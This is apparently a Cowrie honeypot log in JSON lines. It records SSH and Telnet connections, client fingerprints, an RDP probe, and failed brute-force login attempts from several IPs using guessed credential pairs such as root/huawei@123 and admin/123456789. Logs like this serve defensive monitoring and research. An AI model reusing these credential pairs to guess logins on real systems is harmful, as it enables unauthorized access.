{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:49.610286Z","src_ip":"31.40.204.166","session":"8a53561b3cf9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":56860,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c7e3b4ac1ac","protocol":"telnet","message":"New connection: 176.65.139.118:56860 (159.203.135.109:23) [session: 5c7e3b4ac1ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:49.948926Z"}
{"eventid":"cowrie.login.failed","username":"runner","password":"root","message":"login attempt [runner/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:50.514418Z","src_ip":"31.40.204.166","session":"8a53561b3cf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.459392786026,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:50.892238Z","src_ip":"152.42.224.71","session":"05e9b3fc03b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":50644,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5406e37e9db","protocol":"ssh","message":"New connection: 103.172.78.219:50644 (159.203.135.109:22) [session: c5406e37e9db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:51.432073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:51.436973Z","src_ip":"103.172.78.219","session":"c5406e37e9db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:51.689403Z","src_ip":"31.40.204.166","session":"8a53561b3cf9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:51.695617Z","src_ip":"103.172.78.219","session":"c5406e37e9db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.1338281631469727,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:52.082631Z","src_ip":"176.65.139.118","session":"5c7e3b4ac1ac","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1111qqqq","message":"login attempt [root/1111qqqq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:52.456443Z","src_ip":"103.172.78.219","session":"c5406e37e9db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":35782,"dst_ip":"159.203.135.109","dst_port":23,"session":"4de68ab036aa","protocol":"telnet","message":"New connection: 176.65.139.118:35782 (159.203.135.109:23) [session: 4de68ab036aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:52.490399Z"}
{"eventid":"cowrie.session.closed","duration":44.625744104385376,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:53.004246Z","src_ip":"152.42.224.71","session":"863e0ad3b4b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:53.712066Z","src_ip":"103.172.78.219","session":"c5406e37e9db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52220,"dst_ip":"10.17.0.5","dst_port":23,"session":"d76e19d2221a","protocol":"telnet","message":"New connection: 152.42.224.71:52220 (10.17.0.5:23) [session: d76e19d2221a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:54.635818Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52230,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7851cd7726f","protocol":"telnet","message":"New connection: 152.42.224.71:52230 (10.17.0.5:23) [session: f7851cd7726f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:55.281287Z"}
{"eventid":"cowrie.session.closed","duration":73.13302993774414,"message":"Connection lost after 73 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:57.414468Z","src_ip":"152.42.224.71","session":"b15b7d1626f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":90.35851788520813,"message":"Connection lost after 90 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:58.785816Z","src_ip":"152.42.224.71","session":"dc9f95008484","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":48368,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f3ac4ba6c73","protocol":"ssh","message":"New connection: 31.40.204.166:48368 (159.203.135.109:22) [session: 9f3ac4ba6c73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:00.585669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:00.592798Z","src_ip":"31.40.204.166","session":"9f3ac4ba6c73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:00.805395Z","src_ip":"31.40.204.166","session":"9f3ac4ba6c73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456789","message":"login attempt [admin/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:01.311946Z","src_ip":"31.40.204.166","session":"9f3ac4ba6c73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:02.504601Z","src_ip":"31.40.204.166","session":"9f3ac4ba6c73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":56121,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3a2bca2fd51","protocol":"ssh","message":"New connection: 152.42.212.128:56121 (159.203.135.109:22) [session: b3a2bca2fd51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:11.758022Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:11.762964Z","src_ip":"152.42.212.128","session":"b3a2bca2fd51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:11.766418Z","src_ip":"152.42.212.128","session":"b3a2bca2fd51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43076,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f0d4d21e567","protocol":"telnet","message":"New connection: 152.42.224.71:43076 (10.17.0.5:23) [session: 7f0d4d21e567]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:12.526238Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":49196,"dst_ip":"159.203.135.109","dst_port":22,"session":"6afd1029f6ff","protocol":"ssh","message":"New connection: 31.40.204.166:49196 (159.203.135.109:22) [session: 6afd1029f6ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:12.681486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:12.698823Z","src_ip":"31.40.204.166","session":"6afd1029f6ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:12.813918Z","src_ip":"31.40.204.166","session":"6afd1029f6ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei@123","message":"login attempt [root/huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:13.489553Z","src_ip":"31.40.204.166","session":"6afd1029f6ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:14.682271Z","src_ip":"31.40.204.166","session":"6afd1029f6ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43078,"dst_ip":"10.17.0.5","dst_port":23,"session":"d17c0b0f57ce","protocol":"telnet","message":"New connection: 152.42.224.71:43078 (10.17.0.5:23) [session: d17c0b0f57ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:15.407619Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39446,"dst_ip":"10.17.0.5","dst_port":23,"session":"01e92a9e9c72","protocol":"telnet","message":"New connection: 152.42.224.71:39446 (10.17.0.5:23) [session: 01e92a9e9c72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:16.437453Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39458,"dst_ip":"10.17.0.5","dst_port":23,"session":"cca207a10610","protocol":"telnet","message":"New connection: 152.42.224.71:39458 (10.17.0.5:23) [session: cca207a10610]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:17.314605Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39482,"dst_ip":"10.17.0.5","dst_port":23,"session":"d70c481b71ef","protocol":"telnet","message":"New connection: 152.42.224.71:39482 (10.17.0.5:23) [session: d70c481b71ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:20.015386Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39474,"dst_ip":"10.17.0.5","dst_port":23,"session":"79266de25fe0","protocol":"telnet","message":"New connection: 152.42.224.71:39474 (10.17.0.5:23) [session: 79266de25fe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:20.139195Z"}
{"eventid":"cowrie.session.connect","src_ip":"179.176.210.17","src_port":40732,"dst_ip":"10.17.0.5","dst_port":22,"session":"59a4d9c44985","protocol":"ssh","message":"New connection: 179.176.210.17:40732 (10.17.0.5:22) [session: 59a4d9c44985]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:21.839170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:21.844484Z","src_ip":"179.176.210.17","session":"59a4d9c44985","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:21.995838Z","src_ip":"179.176.210.17","session":"59a4d9c44985","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer@2025","message":"login attempt [root/qwer@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:22.630320Z","src_ip":"179.176.210.17","session":"59a4d9c44985","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.89557075500488,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:23.207507Z","src_ip":"152.42.224.71","session":"edb8630dd721","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:23.784752Z","src_ip":"179.176.210.17","session":"59a4d9c44985","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":60988,"dst_ip":"159.203.135.109","dst_port":22,"session":"14faa7e9c836","protocol":"ssh","message":"New connection: 31.40.204.166:60988 (159.203.135.109:22) [session: 14faa7e9c836]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:24.711665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:24.717081Z","src_ip":"31.40.204.166","session":"14faa7e9c836","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:24.890343Z","src_ip":"31.40.204.166","session":"14faa7e9c836","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpt","password":"gpt","message":"login attempt [gpt/gpt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:25.522632Z","src_ip":"31.40.204.166","session":"14faa7e9c836","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:26.688929Z","src_ip":"31.40.204.166","session":"14faa7e9c836","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":55390,"dst_ip":"10.17.0.5","dst_port":22,"session":"db887dbdd45f","protocol":"ssh","message":"New connection: 51.250.105.222:55390 (10.17.0.5:22) [session: db887dbdd45f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:27.092378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:27.097369Z","src_ip":"51.250.105.222","session":"db887dbdd45f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-